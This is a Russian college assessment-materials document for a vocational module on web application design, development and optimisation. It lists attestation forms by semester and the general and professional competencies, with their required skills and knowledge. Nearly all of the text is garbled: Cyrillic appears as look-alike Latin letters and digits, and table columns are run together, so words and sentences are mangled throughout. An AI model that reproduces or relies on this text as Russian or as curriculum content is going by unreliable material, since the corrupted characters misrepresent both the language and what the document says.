[loKyMeHT noanucay NpoCToi 31eKTPOHHOM NOANUCHIO

Wudopmauus o sk dGIFHOC 00PA30BaATE/IBHOC YUPE/KIACHUEC BbICHICTO Oﬁpa3OBaHI/IH
N0 Yewn Ve ey mapoaaelii Macruryr Ju3aiina u CepBuca»

[lomxHocTb: PexTop

[ata nognucanus: 28.04.2025 18:07:42 (IIOYBO MI/II[I/IC)

YHUKanbHbI MPOrpaMMHbIA KIKOY:
F498e59831654d7c3ce7bbga2Scobabb3ebcs AP §AAPA MATEMATHKH M HH(OPMATHKH

®OH/I
OLIEHOYHBIX CPEJICTB
JIJIS1 IPOBEJAEHMS TEKYIIETO KOHTPOJISI U MIPOMEKYTOUYHOM
ATTECTALIMM OBYYAIOLIUXCS
MO MPO®ECCUOHAJIBLHOMY MOJYJIIO

IIM.03 MIPOEKTUPOBAHUE, PASPABOTKA U OITUMMU3AILIUSA
BEB-IIPUJIOKEHUM

CnemmansaocTh: 09.02.07 UHpOpMaIMOHHBIE CHCTEMBI U TPOTPAMMHUPOBAHKE
Hanpaeneranocts (mpoduins): Pa3padoTka BeO M MyIbTUMEIHHHBIX TPUI0KCHUH
KBanudukanus Beimyckauka: PazpaboTunk BeO U MyJIbTUMEAUNHBIX MPUITOKEHUN
VYpoBens 6azoBoro odpazoBanus ooydaromerocs: CpegHee oo01ee o0pa3oBaHue
®dopma oOyuenus: Ounas
I'on HaGopa: 2024

ABTOp — cocraBurens: [Ipuinenuna E.B.

Yeasaouuck 2025



COJAEPKAHUE

1. [TaciOpT (POHTA OIIEHOUHBIX CPEIICTB. .. uuveeeurreerrreeereeessseeesseeessseeessesessseeessssessssesssssseessseesssnesanes 3
1.1. OOACTD TIPHIMEHEHHMS. ......cuvveerreerererreenrreeseesssessseesssessseessessssesssssesseesssesssessssessseessssssssesssssssessses 3
1.2. [Inanupyemble pe3yabTaThl OCBOCHUS KOMIETEHIIMM ..c.uvveruveereennieeieerieenieesieeenieesneenieeenneenee 6
1.3. IToka3zarenu OLIEHKH Pe3yIbTaTOB 00yUEHUs 10 MPO(HECCHOHATEHOMY MOAYIIIO......ccveeueenne.. 9

2. 3anmaHus IS KOHTPOJIS U OLICHKU PE3YJIbTaTOB OCBOCHHUS MPAKTHYECKOT0 OIbITA, YMEHHUIN U YCBOCHUS
3HAHUU 10

3. KPUTEPHM OLIEHUBAHUSL ...cceruvvreerenuurreeeanireeesaueteeessseeeesssssseesssssssessssssseesssssseesssssssessssssssessnnns 18



1. MacmopT ¢oHIa OLIEHOYHBIX CPEICTB

1.1. O6saacTh NpUMEHeHUs

@DoHJ1 OLICHOYHBIX CPEJICTB AJI IPOBEACHUS TEKYIIEro KOHTPOJIS YCIIEBAEMOCTH U MPOMEKYTOUHOM
aTTectauuu odyyvaromuxcs (nanee — QOHJ OLIEHOYHBIX CPEACTB) MPEeIHA3HAYEH AJIsl IPOBEPKU PE3YIIHTATOB
ocBoeHus: mpodeccroHanbHOoro Mmoxyis [IM.03 IIpoektupoBanue, pa3paboTka U ONTHMH3AIUSL
BEO-NpUIIOKEHU  OCHOBHOM  mpodeccHoHaNbHOM  00pa3oBaTeilbHOW  MPOrpaMMBI  CPETHEro
npodeccuoHaibHOro oOpa3zoBanus - 1o crnenuanbHocTd 09.02.07 HMHbOpMaIMOHHBIE CHCTEMBI H
IporpaMMHUpOBaHKe, HapaBiIeHHOCTh Pa3paboTka Be6 1 MOOMIIbHBIX IPUIIOKEHUH.

IIpodeccuonanpubiii  Moaynb IIM.03  IlpoekTupoBanme, pa3pabOTKa M ONTHMHU3ALMS
BEO-TIPWIIOKEHUH M3ydaeTcss B TEYCHHE YETBIpeX CceMecTpoB M BKiawodaer B cebs: MJIK.03.01
[IpoexTupoBanue u pazpadorka BeO-mprioxennii, MJIK.03.02 Ontumusamus BeO-npunoxenuii, M/IK.03.03
Ob6ecnieuenue 0e30MaCHOCTU BEO-NPUIIOKEHH, YUeOHYIO TPAKTUKY, IPOU3BOJICTBEHHYIO MPAKTUKY.

d)opMa aTTCCTAllMU 110 CEMECTPAM.

HaumeHnoBaHue CeMmecTp dopma aTTecTAIUN

MJIK.03.01 IIpoexTupoBanue u pa3paboTka 3 cemecTp 3ayer ¢ OLEHKOU
BEO-TIPHIIOKEHUHN 4 cemecTp Kypcosas padora

4 cemecTp DK3aMeH
MJIK.03.02 Ontumu3zanms BeO-prI0KeHUMA 5 cemecTp KonTpomabHas pabora

6 ceMecTp 3a4er ¢ OIECHKON
M/IK.03.03 O6ecrnieueHne 0€3011aCHOCTH 5 ceMmecTp KonTposbHas padbora
BEO-NPUIIOKEHUM 6 cemecTp 3auer ¢ OLEeHKON
VII.03 YuebHas nmpakTuka 4 cemectp Otuer 1o npaxkTuke
VII1.03 [IpousBoaCcTBEHHAs MMPAKTHUKA 6 cemecTp OTtuer no npakTUKe
DK3aMeH M0 MOAYJIO 6 cemecTp DK3aMeH

@DOoH/T OIIEHOYHBIX CPENICTB TMO3BOJSET OLEHUTH AOCTKeHue oOydarommmucsa odommx (OK) u
npodeccnonanbHbIX (IIK) komnereHumii:
Obwue komnemenyuu (OK):
OK 01. BeiOuparh crocoObl pemieHus 3aaad MpoPEeCcCHOHATBHONW AEATeIbHOCTH MPUMEHHUTENBHO K
pa3IUYHBIM KOHTEKCTaM.
OK 02. HUcmonb3oBaTh COBPEMEHHBIE CpEICTBA TOWCKA, aHAIM3a M HHTEpPHpeTanuu WHPOpMaluu U
nH()OPMAITMOHHBIC TEXHOJIOTHH JIJIs1 BHITIOJIHEHHS 33714 PO eCCHOHATBHOU IeATeTLHOCTH.
OK 03. IlnanupoBaTh U pealM30BBIBATH COOCTBEHHOE NPOQPECCHOHATHHOE W JUYHOCTHOE pPa3BUTHE,
IpEeIIPUHUMATEILCKYIO ACSITEILHOCTD B IPOPECCUOHANBHOM cdepe, NCIOIB30BaTh 3HAHUSA M0 (PUHAHCOBOM
TPAMOTHOCTH B Pa3IUYHbBIX )KM3HEHHBIX CUTYaLUAX.
OK 04. 3ddexTrBHO B3aUMOACHCTBOBATH U PaOOTATh B KOJUICKTUBE U KOMAHJIE.
OK 05. Ocy1iiecTBasATh YCTHYIO U TUCBMEHHYIO KOMMYHHKAIIMIO Ha TOCYJJaPCTBEHHOM si3blke Poccuiickoit
®denepaliyl ¢ yueToM 0COOEHHOCTEN COLIMAIBbHOTO U KYJIbTYPHOIO KOHTEKCTA.
OK 06. ITposiBATh Ipa’kJaHCKO-NATPUOTUYECKYIO MO3ULINIO, JEMOHCTPUPOBATH OCO3HAHHOE MOBEICHHUE Ha
OCHOBE TPATUIIMOHHBIX POCCUMCKUX TyXOBHO-HPABCTBEHHBIX IICHHOCTEH, B TOM YHCIE C Y4YETOM
rapMOHM3alMM  MEXKHAI[MOHAIIBHBIX U MEXKPEJIUTHO3HBIX  OTHOUICHUM, MPUMEHATh  CTaHIAPThI
AHTUKOPPYIIIMOHHOTO TTOBECHUSI.
OK 07. CogeiicTBOBaTh COXPaHEHHUIO OKPYKAIOIIEH Cpebl, PeCypcocOepeKeHUI0, IPUMEHITh 3HaHUS 00
W3MEHEHUU KJIMMAaTa, IPUHIIUIBI OCPEXKITHBOTO MPOU3BOCTBA, YPPEKTUBHO AEHUCTBOBATH B YPE3BBIYAMHBIX
CUTyalusX.
OK 08. HMcnonb3oBaTh cpeacTBa (PU3MUECKON KyJIbTYpbl JUISI COXPaHEHHUS W YKPEIUIEHUS 3/10pOBbsS B
nporecce MNPOPECCHOHATBHON ACSITENFHOCTH W TOJJCPKAHUS HEOOXOAMMOTrO YpOBHS (hHU3HUECKOM
MOJIFOTOBJIEHHOCTH.
OK 09. ITonk3oBaThcs TpoheCcCUOHATHLHOM JOKYMEHTAIIUEH Ha TOCYIapCTBEHHOM U MHOCTPAHHOM SI3bIKaX.
IIpogheccuonanvrvie komnemenyuu(l11K):
IIK 9.1. Pa3pabarbiBaTh TEXHHYECKOE 3a/laHWE Ha BEO-MPHIIOKEHHWE B COOTBETCTBUU C TPEOOBaHUSIMU
3aKa3yuKa.



I1K 9.2. Pa3zpabatbiBaTh BEO-PUIOKEHUE B COOTBETCTBUH C TEXHUYCCKUM 32/ IaHHEM.

IIK 9.3. PazpabatpiBaTh WHTEpdENC MOJIb30BaTENs BEO-TPHIOKEHUH B COOTBETCTBHH C TEXHHUYECKHUM
3a/1aHUEM.

[1K 9.4. OcymiecTBasATh TEXHUYECKOE COTPOBOXKIACHUE U BOCCTAHOBJICHHUE BEO-TIPUIIOKEHH B COOTBETCTBUU
C TEXHUYECKUM 33JIaHUEM.

I1K 9.5. TIpousBoauTh TeCTUpOBaHUE Pa3pabOTaHHOTO BEO MPHIIOKEHUSI.

I1IK 9.6. Pa3memath BeO MPUIOKEHUS B CETH B COOTBETCTBHH C TEXHUYCCKUM 3a1aHUCM.

IIK 9.7. OcymecTBisaTh COOp CTAaTUCTHYECKON WH(MOpMaIuu o paboTe BeO-IPHIIOKEHUN IS aHaIM3a
3(h(HEKTUBHOCTH €ro padOTHI.

[IK 9.8. OcymecTBiarh ayauT O€30MaCHOCTH BEO-TIPUIIOKEHHUS B COOTBETCTBHUU C PETJIAMEHTAMH 10
0€30MacHOCTH.

[1IK 9.9. MonepHu3upoBath BeO-IPUIOKEHUE C yUYETOM MPaBUI M HOPM MOATOTOBKM MH(OpMALMM IS
MOMCKOBBIX CUCTEM.

I1K 9.10. Peanu3oBbIBaTh MEPOIPHUATHUS IO MPOABHIKEHUIO BEO-TIPUIIOKEHUH B ceTn MIHTEpHeT.

B pesynprare msydenus npodeccuonambHoro monyis IIM.03 IIpoextupoBanme, pa3paboTka U
ONTUMM3ALMS BEO-IPUIIOKEHUH 00yUarouecs T0JIKHbI:
uUMems NPAKMUYecKull Onvim:
- B UCIIOJI30BAaHUH CHEIIHMATIBHBIX TOTOBBIX TEXHUUECKUX PELICHUN pU pa3paboTKe BeO-NPUIIOKEHUIH;
- BBITIOJIHEHUH Pa3paObOTKU M MTPOSKTUPOBAHUS HHPOPMALIMOHHBIX CUCTEM;
- MOJEPHU3ALMKN BEO-NPUIOKEHUH C Y4YeTOM IIpaBMJI M HOPM IOATOTOBKM HMHGMOpManuu Jis
TIOUCKOBBIX CHUCTEM;
- peanu3alMy MEpONPHUATHH IO IPOABUKEHUIO BEO-TIpHIIoKeHHH B ceTu IHTepHeT.
ymemn:
- pa3pabaThIBaTh NPOrPaMMHBINA KO/ KJIMEHTCKOM U CEpBEPHOI YyacTu BeO-NPUII0KEHUH;
- OCYILECTBIIATh ONTHMM3ALUIO BEO-TIPUIIOKEHHUS C IIETbI0 TOBBIIICHUS €ro pPeHTHHra B CETH
NurepHer;
- pa3pabarbIBaTh U MPOECKTUPOBATH HH()OPMAIIHOHHBIE CUCTEMBI.
3HAMDb!
- S3BIKM TIPOTPAMMHPOBAHUS M PAa3METKU JUISI Pa3pabOTKM KIMEHTCKOH W CEpPBEpHON YacCTH
BEO-TIPHIIOKEHUH;
- OPUHIUNBL  (QYHKIIMOHHPOBAHUS  MOWCKOBBIX  CEPBHCOB M OCOOEGHHOCTH  ONTHUMH3AINU
BEO-IIPUIIOKEHUN TI0]] HUX;
- NPUHIHITBI IPOSKTUPOBAHUS U Pa3pabOTKH HH()OPMAIIHOHHBIX CUCTEM.

1.2. [lnanupyemble pe3yJbTaThbl 0CBOCHUSI KOMIETEH I
B pesynbrare ocBoeHms mporpammbl npodeccroHambHoro moxayis IIM.03IIpoekTupoBaHmue,

pa3paboTKa U ONTUMM3ALMS BEO-NPUIIOKEHUH YUUTBIBAIOTCS IUIAHUPYEMbIE Pe3yJIbTaThl OCBOCHHUS OOIIMX
(OK) u mpoeccuonansubix (I1K) xommnerenumii:

Kon Conepxanue IliianupyemMblie pe3yibTaTbl 0CBOCHHUS KOMIIETEHIU
KOMIIEeTe KOMIIeTeHIIN U
HIIUH




OK 01 | Beibupars crocoObl | YMeHHsI: paclo3HaBaTh 3ajJady W/Wiaud  1mpoliemy B
pelieHus 3aj1ad | mpo)ecCHOHANBHOM ~ W/WIM ~ COLMAIbHOM  KOHTEKCTE;
npodecCHOHATLHON aHAJM3UpPOBaTh 3aJadyy W/WiIM NpoOsieMy M BBIACIATH €€
NEeSITEIbHOCTH, COCTAaBHBIE YACTH; OIpPENEISATh OSTalbl pPELICHUS 3a7auu;
IIPUMEHHUTEIBHO K | BBIABIATH M 3(G(QEeKTUBHO  HMcKaTb  MH(OpMaIuio,
pa3IMYHbIM HEOOXOIMMYIO JUISl PEUICHHUS 3aa4 U/ U TPOOIEMBI;
KOHTEKCTaM COCTaBUTh IUIAH JEUCTBUS; OIpPEIEIUTh HEOO0XOAUMBIE

pecypchl;

BJIAJIETh aKTyaJbHBIMU METOAaMHU paboThI B
npodecCHOHATBPHOH W CMEXHBIX cdepax; peaan3oBaTh
COCTaBJICHHBIN IJIaH; OLIEHUBATh PE3yJIbTAaT U IOCIEACTBUSA
CBOMX JEUCTBUM (CAMOCTOSTEILHO WM C  TOMOIIBIO
HACTaBHHKA)

3HaHUA: aKTyaJbHBIH TPO(PECCHOHANBHBIM W COLUAIBHBINA
KOHTEKCT, B KOTOPOM HPUXOAMTCA paboTaTb U IKUTh;
OCHOBHBIE UCTOYHUKH HH(OPMAITH U PECYPCHI ISl PELICHUS
3a7ja4 U 1pobieM B Mpo(ecCHOHATBHOM W/WIHM COLUATIbHOM
KOHTEKCTE;

QITOPUTMBI  BBIIIOJHEHUS paboT B MpodecCHOHATbHOU U
CMEXHBIX 00JIACTSX; METOJIBI pabOTHI B MPO(ECCHOHATILHON U
CMEXHBIX cdepax; CTPyKTypy IJIaHa [yl pelleHus 3aaady;
HOPSIOK OLIEHKH pE3yJIbTaTOB pelieHus 3a1a4y
po¢eCcCUOHATILHOM JIeTEIbHOCTH

OK 02 | Ucnonws3oBath YMenusi: omnpenensath 3agadyd s HOUCKa HHGOpMalUU;
COBPEMEHHBIE CPEJCTBA | OMpPENeNATh  HEOOXOJUMblE  HCTOYHMKM  HH(POpPMAaLUY;
MOKMCKa, aHaju3a M | MIaHUpPOBaTh nporecc MOMCKa; CTPYKTYypHUPOBAaTh
MHTEpHpeTanun noJay4yaeMyro HHGOpMaItio; BeIJEIATh Hauboiee 3HaYMMOoe B
uHpOpMaIuu U | mepeyHe uH(pOopMaLnu; OLIEHHBATH MIPAKTHYECKYIO
MHGOPMAalMOHHbIE 3HAYMMOCTb DPE3YJbTAaTOB MOUCKA; O(GOPMIATH pPE3yJbTaThl
TEXHOJIOTUHU JUIs | TOMCKa
BBITOJIHEHUS 3aj1a4 | 3HaHMA: HOMEHKJIaTypa HH(GOPMAIIMOHHBIX HCTOYHUKOB,
npodeccroHanbHOI MPUMEHSEMBIX B TPO(ECCHOHATBHON NEeSTENIbHOCTH; MIPUEMBI
JESTEIIBHOCTH. CTpYKTypupoBaHusi uHpopmaiuu; dopmar odopmieHus

pe3yJIbTaTOB MOUCKa HH(pOpMaLIUU

OK 03 | [InanupoBaTh U | YMeHusi: OnpenensiTh akTyalbHOCTh HOPMAaTHBHO-IIPABOBOM
peajin30BbIBaTh JOKYMEHTalluu B  NPO(ECCHOHATBHOM  JESATEIbHOCTH;
cOOCTBEHHOE OPUMEHATh COBPEMEHHYIO HAay4YHYI HpOQecCHOHAIbHYIO
npodeccuoHalbHOE U | TEPMHHOJIOTHIO; OIpPENEsTh W BBICTPaUBAaTh TPAEKTOPHUH
JMYHOCTHOE DPa3BUTHE, | MPO(HECCHOHAIILHOTO Pa3BUTHS U CaMOOOpa30BaHMS
IPEINPUHUMATENLCKY | 3HAHMSA: coiepaHUE AaKTyaJbHOW HOPMaTHBHO-NPAaBOBOM
0 JIEATENILHOCTh B | JOKyMEHTaluM; COBpeMEHHas Hay4yHas U npodeccuoHanbHas
npodeccroHanbHON TEPMHUHOJIOTHS; BO3MOXHbBIE TPAEKTOPUN MPOPECCHOHATHHOTO
chepe, MCHONB30BATH | pa3BUTHUS U CAMOOOPA30BAHUS
3HaHUA MO0 (PUHAHCOBOU
IPaMOTHOCTH B
Pa3MYHBIX )KU3HEHHBIX
CUTYalUSX.

OK 04 | PaGoraTh B KOJIJIEKTUBE | YMeHHMA: OpraHU30BBIBATH PA0OTY KOJUIEKTUBA M KOMaHIbI;
U KOMaHze, B3aMMO/JICHCTBOBATh C KOJIJIETaMH, PYKOBOJCTBOM, KIIMEHTAMHU
3¢ pexTuBHO B X0J1¢ MPOECCHOHATHHOU NEATETLHOCTH
B3alMO/JIEIICTBOBATH C 3HaHMA:  ICUXOJIOTMYECKHE  OCHOBBI  JI€ATEIbHOCTU
KOJIJIEraMH, KOJIJIEKTHBA, IICUXOJOTMYECKHe OCOOEHHOCTH JIMYHOCTH;
PYKOBOJCTBOM, OCHOBBI IIPOEKTHOM AESITEIbHOCTU

KJIIMCHTaMMU.




OK 05 | OcymiecTBisTh YCTHYIO | YMeHHsI: TpaMOTHO H3JlaraTh CBOHM MBICIH U O(QOPMIISITH
Y TUCHhMEHHYIO JOKYMEHTBI 10  Tpo(ecCHOHaNbHON  TeMaTuke  Ha
KOMMYHHKAIUIO Ha rOCy/IapCTBEHHOM  SI3bIKE, TPOSBISATH TOJEPAHTHOCTH B
rOCyJJapCTBEHHOM paboueM KOJUIEKTHUBE
SI3BIKE C YUETOM 3HaHMA: OCOOCHHOCTH COLHMAIBHOTO M  KYJBTYPHOTO
ocoOeHHOCTeH KOHTEKCTA; MpaBuia 0(hOpMIICHHUS! JOKYMEHTOB M TIOCTPOCHUS
COLIMAJILHOTO U YCTHBIX COOOIICHU.

KyJIbTYPHOTO
KOHTEKCTA.

OK 06 | [IposiBnsiTH YMeHusi: ONUChIBATh 3HAUUMOCTH CBOEH CHENUAIBbHOCTH
rpa)xIaHCKO-aTPUOTH
CCKYI0 HOSHIHIO, | 3yagmus: CyNIHOCTh IPaXKIaHCKO-MATPUOTHYECKOM TO3UIINY,
ACMOHCTPUPOBATD 00IIeYeTOBEYECKUX [EHHOCTEI; 3HAYMMOCTh
OCOSHaHHOC MOBEACHNE | rpoheccHOHAIBHON ACITENBHOCTH 110 CICLUATbHOCTH
Ha OCHOBE
TPaJIUIIHOHHBIX
00I1IeueI0BEYECKUX
LICHHOCTEM.

OK 07 | CogeiicTBOBaTh YMeHusi: cobmoaaTh HOPMBI SKOJIOTHYECKOH 0€30IacHOCTH;
COXpaHEHHIO OTIpeNeNATh HAIMpPaBICHHUS PECypcoCOEpeKeHMs] B paMKax
OKpyXarome  cpensl, | mpodhecCHoHaTbHOM NeSTENBHOCTH M0 CIeUaIbHOCTH
pecypcocOepekeHHtIo, -
> (EKTHBHO 3HaHMA: mnpaBuia SKOJIOr4ECKOt 0e30MacHOCTH  MpHU
TeHCTBOBATE 5 | BEACHHH HpO(be(iCI/IOHaJIBHOI/I ACATENLHOCTH;  OCHOBHBIE
4pE3BBUANHBIX pecypchl, 3aJIeiCTBOBaHHbIE B npoeccuoHaIbHOM
— JeSITeIbHOCTH; ITyTH 00eCTIeYeHUsI PeCcypcocOepekeHus

OK 08 | Ucnonws3oBath YMeHusl: HCIONB30BAaTh (PU3KYJIBTYPHO-03/10POBUTEIBHYIO
cpeacTBa (PU3UYECKOM | ACSITENBHOCTh JUISI YKPEIUICHUS 300POBBS, JOCTHKEHUS
KYJIbTYPBI JUIS | )KU3HEHHBIX H  MPO(EeCCHOHANBHBIX IIeJIeld; TPHUMCHSTH
COXpPaHEHUSA U | pallMOHANIbHBIE  MPUEMBI  JBUTATENbHBIX  (QyHKIMHA B
YKPETICHHUS 370POBbS B | MPOheCcCHOHATEHON TeSITeTbHOCTH; MOJTb30BATHCS
mporecce cpelncTBaMu MPO(UIAKTUKY TTepEHANPSHKEHUS XapaKTePHBIMU
npodecCHOHATEHON JUTSL JAHHOW CIeIINATbHOCTH
NS TeIbHOCTH U | 3HaHus: poiib (PU3UYECKOU KYIbTYphl B OOIIEKYJIBTYPHOM,
IO IJICPIKAHUS npodecCHOHAbHOM U COLIMAJILHOM Pa3BUTUM 4YEJIOBEKa;
HE00XOIUMOTO YPOBHSI | OCHOBBI 3JI0pPOBOTO obpaza KU3HU; YCIIOBUS
buzmgeckoi npoeCCHOHAIBHOW ~ JACATEIBHOCTY W 30HBI  PHCKa
MOJrOTOBJICHHOCTH. (bu3nueckoro 370pOBbsS Ul CHEIHAJIBHOCTH; CPEACTBA

pOodUIAKTUKY EPEHANPSHKCHUS

OK 09 [ ITonws3oBatbes YMeHusl: MOHUMATh OOMIUN CMBICT YETKO MPOU3HECCHHBIX
po¢eCCUOHATBHON BBICKA3bIBAaHWN HAa W3BECTHBIE TeMbI (TIpOodecCHOHANIbHBIE U

JIOKyMEHTaIlueN Ha
rOCY/IapCTBEHHOM U
WHOCTPAHHOM SI3bIKaX.

OBITOBBIC), TOHUMATh TEKCTHI Ha 0a30BbIC TPO(PECCHOHAIIBHBIC
TE€Mbl, y4acTBOBaTh B JHAJOrax Ha 3HAKOMbIE 0OIIUE H
po(hecCHOHANEHBIC TEMBI; CTPOUTH MPOCTHIE BEICKA3BIBAHUS O
cebe U o cBoel MpodecCHOHATBHOU ACATENHHOCTH, KPaTKO
000CHOBBIBaTh U OOBSICHUTH CBOW JCHCTBUS (TEKylIue U
IUTAaHUPYEMBbIE); THCAaTh IMPOCTHIE CBS3HBIE COOOIIEHHS Ha
3HAKOMBIE MJIM HHTEPECYIOIIHE MPO(DHeCCHOHATLHBIC TEMBI

3HAaHUSA: TIpaBWIA TIOCTPOCHUS TPOCTHIX U  CIOXHBIX
NPEUIOKEHUH Ha TPOPECCHOHATBHBIE TEMBI, OCHOBHBIC
o01meynoTpeOuTeIbHbIC TJIaroJibl (6p1TOBAsS u
npodeccuoHallbHAs  JICKCUKA); JICKCHYCCKUH  MUHUMYM,
OTHOCSIIITUICS K OTMMCAHHUIO TIPEAMETOB, CPEJICTB U MPOIECCOB
podeCcCHOHATBHOM JIeATCILHOCTH; 0COOCHHOCTH
MPOM3HOIICHHUS; IPAaBUJIA YTCHUS TEKCTOB MPOGECCHOHATLHON
HATPABICHHOCTH




IIK 9.1.

Pa3zpabarpiBath
TEXHUYECKOE 3a/1aHue
Ha BEO-TIPUIIOKEHUE B
COOTBETCTBUH C
TpeOOBaHUSIMH
3aKa3uuKa.

IpakTn4yeckunii oNbIT:

OcymiecTBisITh  COOp  MpPEABAPUTEIBHBIX  JAHHBIX  JJIA
BBISIBIICHHS TPEOOBAHUH K BEO-TIPUIIOKEHUIO.

OnpenensTh TepBOHAYaIbHBIC TPEOOBAHUS 3aKa3dyWKa K
BEO-TIPHIIOKCHHIO U BO3MOKHOCTH UX PEaH3aIlHH.
[TonOuparh omnTUMaabHBIC BAaPHAHTHI PEATM3ANMH 331a4 U
COTJIACOBAHUE X C 3aKa3YUKOM.

OdopMIISITE TEXHUYECKOE 3aJaHHE.

YmMmenusn:

IIpoBoauTh ankeTnpoBaHue. [I[poOBOAUTE HHTEPBBIOMPOBAHHUE.
OdopmisaTe TeXHUYECKYIO AOKyMeHTaruioo. OCyIecTBIATh
BbIOODP OJIHOTO U3 TUIIOBBIX PEIICHUH.

PaGoTtath co CIIeIUaTU3UPOBAHHBIM MIPOTrpaMMHBIM
obecrieueHreM ISl TUTAHUPOBAHMS BPEMEHU M OpraHU3aluu
pabOThI C KJIMCHTAMM.

3Hanun:

WHCTpYMEHTBI M METO/Ibl BBISIBJICHUS TPEOOBaHUIA.

Tunosble penieHus 1no pa3padoTke BeO-MPUI0KEHUI.

Hopmel u  craHmaptel  OoQOpMIIEHHS  TEXHMYECKOU
JIOKYMEHTal1H.

[TpuHIMIBL IIPOEKTUPOBAHMUS " pa3paboTKu
MH(GOPMaLIMOHHBIX CUCTEM.

ITIK 9.2.

Pa3pabatsiBath
BEO-TPUIIOKEHHE
COOTBETCTBUU
TEXHUYCCKHM
3aJJaHUEM.

IIpakTH4yecKkuit ONbIT:

BbINONMHATE BEPCTKY CTpaHULl BEO-NPHIIOKEHUH.

KonupoBaTh Ha si3pIKax BEO-IPOrpaMMHUPOBAHUS.
Pa3zpabateiBaTh 6a3bl JaHHBIX.

Hcnonp30BaTh criennaibHble TOTOBBIE TEXHUYECKUE PEILICHUS
pH pa3paboTKe BEO-MPUITOKEHUN.

Brimmonuars pa3paboTKy u MPOEKTUPOBAHHUE
WH()OPMAITMOHHBIX CHCTEM.
YMmeHnus:

Pa3pabarbiBaTh MporpaMMHBIN KO/ KIIMEHTCKOW U CEPBEPHOU
4acTU BEO-TIPUITOKCHHIA.

M cronb30BaTh SI3bIK Pa3METKH CTPAHUI] BEO-TIPHIIOKEHHSL.
OdopMIsTs KOl MPOrpaMMbl B COOTBETCTBHH CO CTaHIAPTOM
KOJIMPOBAHMUSI.

Hcnons30BaTh OOBEKTHBIE MOJAETH BEO-TIPIIOKECHUNA U
Opay3epa.

Hcrnonb30Bath OTKpBITHIE OMOIMOTEKH (framework).
Hcnonp30BaTh BBIOPAaHHYIO Cpely NPOTPaMMHUPOBAHUS U
CpEeJIICTBA CUCTEMBI YIIpaBICHUS 0a3aMu JaHHBIX.
OcCylIecTBIATh B3aUMOJICUCTBHUE KIMEHTCKOM M CEpBEPHOM
qyacTel BeO-IPUITOKCHHH.

PazpabaThIiBaTh U MPOESKTUPOBATH HHPOPMAIIMOHHBIE CHCTEMBI

3Hanus:

SI3pIKM  TPOTPaAaMMHUPOBAHUS U Pa3METKH IS pa3pabOTKu
KITUEHTCKOW U CEPBEPHON YaCTH BEO-TIPUIOKEHUH.
[Tpuntunbl paboThl OOBEKTHONH MOJACIH BEO-IPUIOKEHUN H
Opay3sepa.

OCHOBBI TEXHOJIOTHH KIIMEHT-CEPBED.

Oco0OeHHOCTH OTOOpaKeHUS BEO-TIPUIIOKEHUN B pa3zMepax
paboyero npocTpaHCTBa YCTPOHCTB.

OcobenHoctu OoTOOpakeHUs: ayeMeHToB NP B pa3nmuHbIx
Opay3zepax.

OcoOeHHOCTH BBIOpaHHOW Cpeabl MPOTPaMMHUPOBAHUS U
CUCTEMbI yIpaBJieHHs 0a3aMu JaHHbIX.




IIK 9.3. | Pa3pabarpiBath IpakTn4yeckunii oNbIT:

unTepdeiic PaspabarteiBaTh HHTEp(dENC OIB30BATEINSL.

MOJIb30BATENS Pa3pabarbiBaTh aHUMAIIMOHHBIE A (HEKTHI.

BEO-TIPUITOKCHUIHA YMeHust:

COOTBETCTBUHU Pa3pabarbiBaTh mMporpaMMHBIN  KOJA  KJIMEHTCKOM 4acTu

TEXHUYECKUM BEO-TPUITOKEHHI.

3aJlaHUEM. OdopMIIsATE KOJI POTPaMMBbl B COOTBETCTBHH CO CTaHIAPTOM
KOJMPOBAHUSI.
Hcnonb30BaTh OOBEKTHBIE MOJEIU BEO-TPUWIOKEHUH U
Opay3epa.
Pa3pabarbiBaTh aHUMALMIO JUIS  BEO-TIPUJIOKCHUM IS
MOBBILICHUS ero JOCTYITHOCTHU u BU3YaJIbHON
npuBjaekarenbHocTH (Canvas).
3Hanusn:
SI3pIKM  TPOrpaMMHUPOBAHMST M Pa3METKH Il pa3paboTKu
KITMEHTCKOM 4acTH BeO-IIPUITIOKEHUH.
[TpuHUMIIBI pabOThl OOBEKTHOW MOJETN BEO-NIPHIOKEHUN U
Opay3epa.
Texnonoruu yig pa3pabOTKu aHUMALIUH.
CrniocoOsl MaHUITYJISIUU 3JIeMEHTaMU CTpaHUIIBI
BEO-TIPUIIOKEHMUS.
Bunel anuManuu 1 crnocoObl ee IPUMEHEHUS.

[IK9.4. | OcymecTBisaTe IIpakTH4eckuii ONbIT:

TEXHUYECKOE VYcranaBnuBath W HactpaumBaTh BeO-cepBepbl, CYBJl s

COIIPOBOXICHUE OpraHu3aiy padoThl BeO-IPUI0KEHUH.

BOCCTAHOBJICHHE Hcnonb3oBaTh MHCTPYMEHTAJIbHBIE CPEACTBA  KOHTPOJIA

BEO-TIPUITOKEHU I Bepcuil U 0a3 JaHHBIX.

COOTBETCTBUU [IpoBoauTh  pabOTBl MO  PE3epPBHOMY  KOMHPOBAHUIO

TEXHUYECKUM BEO-TPUITOKEHHI.

3a/IaHHEM. BBITIONMHATE peructpanuo 1 00padoTKy 3arpocoB 3aKka3unka B

CIy>K0€ TEXHUYCCKOU IO IICPIKKH.

Ymenus:

[TonkmtouaTs U HACTpaMBaTh CUCTEMbl MOHUTOPHHTA PabOTHI
Be6-nipunosxenuit 1 cOopa CTATUCTUKH €r0 UCTIOIB30BaHUS.
YcranaBnuBath W HacTpaumBath BeO-cepBepa, CYDBJl mns
OpraHu3aIy padoThl BEO-TIPUIOKEHUH.

Pa6otats ¢ cuctemamu Helpdesk.

BrisicHATh, U3 Oecenpl ¢ 3aKa3YMKOM M TOHUMATh TMPHYUHBI
BOZHUKIIUX aBAPUUHBIX CHUTyallMii ¢ WHGOPMAIHOHHBIM
pecypcoMm.

AHaNM3UpOBATH U pelIaTh TUIOBBIE 3aIPOCHI 3aKA3YMKOB.
BrInonaHsATe periiaMeHTHbIE TPOLEAYPHI M0 PE3EPBUPOBAHUIO
JTAHHBIX.

VYcraHaBiuBaTh MPUKIAIHOE MPOrPaMMHOE oOecrieueHue AJis
pPE3EPBUPOBAHUS BEO-TIPHIIOKECHU.

3Hanus:

OcHoBHBIE TMOKa3aTeau UCHOJb30BaHUs BeO-mpunoxeHuit u
CrocoObI MX aHan3a.

Pernamentsl paboT 1O pe3epBHOMY KOMUPOBAHUIO U
pa3BEePTHIBAHUIO PE3EPBHOMN KOMUI BEO-TIPHIIOKECHHUH.
CniocoObI ¥ cpeicTBa MOHUTOPUHTA Pa0OThI BEO-MPUITOKECHHIH.
Mertoabl pa3BepThIBaHUs BEO-CITyKO U CEPBEPOB.

